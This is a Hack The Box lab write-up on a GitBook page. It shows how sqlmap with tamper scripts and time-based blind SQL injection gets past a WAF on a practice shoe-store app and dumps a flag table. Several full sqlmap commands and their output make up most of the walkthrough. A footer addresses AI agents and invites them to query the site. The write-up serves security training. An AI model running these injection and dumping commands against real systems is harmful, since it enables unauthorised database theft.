> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/sqlmap-essentials.md).

# SQLMap Essentials

## Skills Assessment Walkthrough

> **HTB Module:** SQLMap Essentials **Difficulty:** Medium **Goal:** Find SQLi vulnerability in a WAF-protected web app and use SQLMap to dump the flag **Target:** 154.57.164.82 (online shop with basic protections)
>
> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FMMK5g4tHAJQtDx6rUTqe%2Fimage.png?alt=media\&token=d962f956-ba10-4381-a913-1b2fab8e2b22)![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FobTyadXhf786CQhQTEpT%2Fimage.png?alt=media\&token=478721d8-52dd-4367-926a-6c4d6107e2d2)

***

### 📌 Scenario

We're given access to a web application with **basic protection mechanisms** (WAF). We need to find the SQLi vulnerability using SQLMap and exploit it to retrieve the flag. The app is an **online shoe store** with product listings, price filters, and an "add to cart" feature.

### 🗺️ Attack Chain

```
Web app recon → find POST request (add to cart / action.php)
  → Save request to file → SQLMap with tamper scripts
    → Bypass WAF → Enumerate databases → "production"
      → Enumerate tables → "final_flag"
        → Enumerate columns → "id", "content"
          → Dump content → HTB{...} 🏴
```

***

***

## Step 1 — Recon: Finding the Injectable Request

Browse the web application — it's an online shoe store with categories (Women's Shoes, Accessories, Clothing), price range filters, and product listings.

After digging deep, the key request is found in the **Network tab** (DevTools) when using the **"Add to Cart"** feature. It's a **POST request** to `action.php`.

Save this request to a file (`reqs.txt`) for SQLMap.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FET0whzyhXBAM5RMqbZJb%2Fimg-000.png?alt=media\&token=05720be4-ec24-44f4-a3f2-17c037d64ea7)

***

## Step 2 — SQLMap: Finding the Right Tamper & Technique

The app has WAF protection, so we need the right combination of **tamper scripts** and **techniques** to bypass it.

After trying many combinations, the working command:

```bash
sqlmap -r reqs.txt \
  --cookie='PHPSESSID=rbv4393bt1j89st7b894cgsrr0' \
  --tamper=space2comment,<tamper> \
  --level 4 --risk 2 \
  --no-cast \
  --dbs \
  --time-sec=3 \
  --technique=<technique> \
  --batch
```

Key flags explained:

* `--tamper=space2comment,<tamper>` — Bypasses WAF by replacing spaces with comments + additional tamper
* `--level 4 --risk 2` — Deep testing with higher risk payloads
* `--no-cast` — Avoids CAST() which may be blocked by WAF
* `--time-sec=3` — Time-based blind SQLi with 3-second delay
* `--technique=<technique>` — Specific technique that works (time-based)
* `--batch` — Non-interactive mode

**Results:**

* Back-end DBMS: **MySQL >= 5.0.12 (MariaDB fork)**
* Web server: **Apache 2.4.38** on **Linux Debian 10 (buster)**
* Databases found: `information_schema`, `production`

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FXIbIGvX54RuwFxn2SurS%2Fimg-001.png?alt=media\&token=c33c2b94-2c6f-4610-a990-08d06664dcd2)

***

## Step 3 — Enumerate Tables in "production"

```bash
sqlmap -r reqs.txt \
  --cookie='PHPSESSID=rbv4393bt1j89st7b894cgsrr0' \
  --tamper=space2comment,<tamper> \
  --level 4 --risk 2 \
  --no-cast \
  --time-sec=3 \
  --technique=<technique> \
  --batch \
  -D production --tables --dump
```

Tables retrieved from `production` database:

* `brands`
* `categories`
* `final_flag` ← 🎯
* *(and more...)*

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2Fi4Pq2zv2gVuwrnuB8Pbh%2Fimg-002.png?alt=media\&token=bc3c5799-977a-4357-af3c-b11de0b35b35)

***

## Step 4 — Enumerate Columns in "final\_flag"

```bash
sqlmap -r reqs.txt \
  --cookie='PHPSESSID=rbv4393bt1j89st7b894cgsrr0' \
  --tamper=space2comment,<tamper> \
  --level 4 --risk 2 \
  --no-cast \
  --time-sec=3 \
  --technique=<technique> \
  --batch \
  -D production -T final_flag --columns --dump
```

Columns in `final_flag`:

* `id` — int(11)
* `content` — varchar ← the flag is here 🎯

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FW6k85bQ2BqOgoQxU3mC3%2Fimg-003.png?alt=media\&token=a2f540d8-738d-4b54-ba67-9c3382d99e14)

***

## Step 5 — Dump the Flag!

```bash
sqlmap -r reqs.txt \
  --cookie='PHPSESSID=rbv4393bt1j89st7b894cgsrr0' \
  --tamper=space2comment,<tamper> \
  --level 4 --risk 2 \
  --no-cast \
  --time-sec=3 \
  --technique=<technique> \
  --batch \
  -D production -T final_flag -C content --dump
```

This takes some time because the flag contains **special characters** and SQLMap uses time-based blind extraction (character by character).

After waiting patiently...

```
Database: production
Table: final_flag
[1 entry]
+-------------------------+
| content                 |
+-------------------------+
| HTB{n07_<redacted>}     |
+-------------------------+
```

**Flag captured!** 🏴

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FrQiAttGqUWDazIVQmfqo%2Fimg-004.png?alt=media\&token=41ca1f3c-7764-4e9d-a46f-00a7b2efe814)

***

## 🏆 Pwned!

WAF-protected app → right tamper + technique → time-based blind SQLi → database enumeration → flag dumped.

#### Key Takeaways

* **Patience is key** — Time-based blind SQLi is slow, especially with special characters
* **Tamper scripts matter** — `space2comment` + additional tampers needed to bypass WAF
* **Level & Risk** — Higher levels (4) and risk (2) were needed to find the injection point
* **`--no-cast`** — Important when WAF blocks CAST() functions

#### Tools Used

| Tool     | Purpose                                          |
| -------- | ------------------------------------------------ |
| Browser  | Web app recon, finding injectable POST request   |
| DevTools | Network tab to capture `action.php` POST request |
| `sqlmap` | Automated SQLi exploitation with WAF bypass      |

#### SQLMap Commands Summary

| # | Purpose           | Key Flags Added                                 |
| - | ----------------- | ----------------------------------------------- |
| 1 | Find databases    | `--dbs`                                         |
| 2 | Enumerate tables  | `-D production --tables --dump`                 |
| 3 | Enumerate columns | `-D production -T final_flag --columns --dump`  |
| 4 | Dump flag         | `-D production -T final_flag -C content --dump` |

***

> **GG 🏴** — WAF bypass with tamper scripts → time-based blind SQLi → production.final\_flag.content → HTB{...}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/sqlmap-essentials.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
